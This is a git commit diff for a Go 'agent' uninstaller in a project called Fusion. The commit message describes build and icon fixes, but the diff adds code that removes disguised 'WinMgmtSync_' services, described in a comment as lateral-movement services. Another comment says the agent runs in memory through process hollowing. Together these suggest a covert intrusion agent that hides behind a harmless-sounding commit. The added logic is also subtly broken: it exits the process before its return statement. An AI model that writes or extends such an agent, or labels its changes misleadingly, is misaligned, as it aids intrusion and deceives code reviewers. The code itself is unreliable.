Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
drjones
2026-05-27 20:13:24 -07:00
parent df81eb7744
commit b10d353a8b
36 changed files with 1311 additions and 396 deletions

View File

@@ -32,6 +32,13 @@ func Uninstall(cfg config.RuntimeConfig) error {
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
RemoveFirewallExclusion(cfg)
// Clean up potential lateral movement services
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
// Self-uninstall: spawn cleanup then exit.
ps := fmt.Sprintf(`
@@ -47,5 +54,10 @@ Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
if err := os.RemoveAll(installDir); err != nil {
return fmt.Errorf("remove install dir: %w", err)
}
// If the agent is running in memory (Process Hollowing), it won't be killed
// by the taskkill command above. We must explicitly terminate the thread.
os.Exit(0)
return nil
}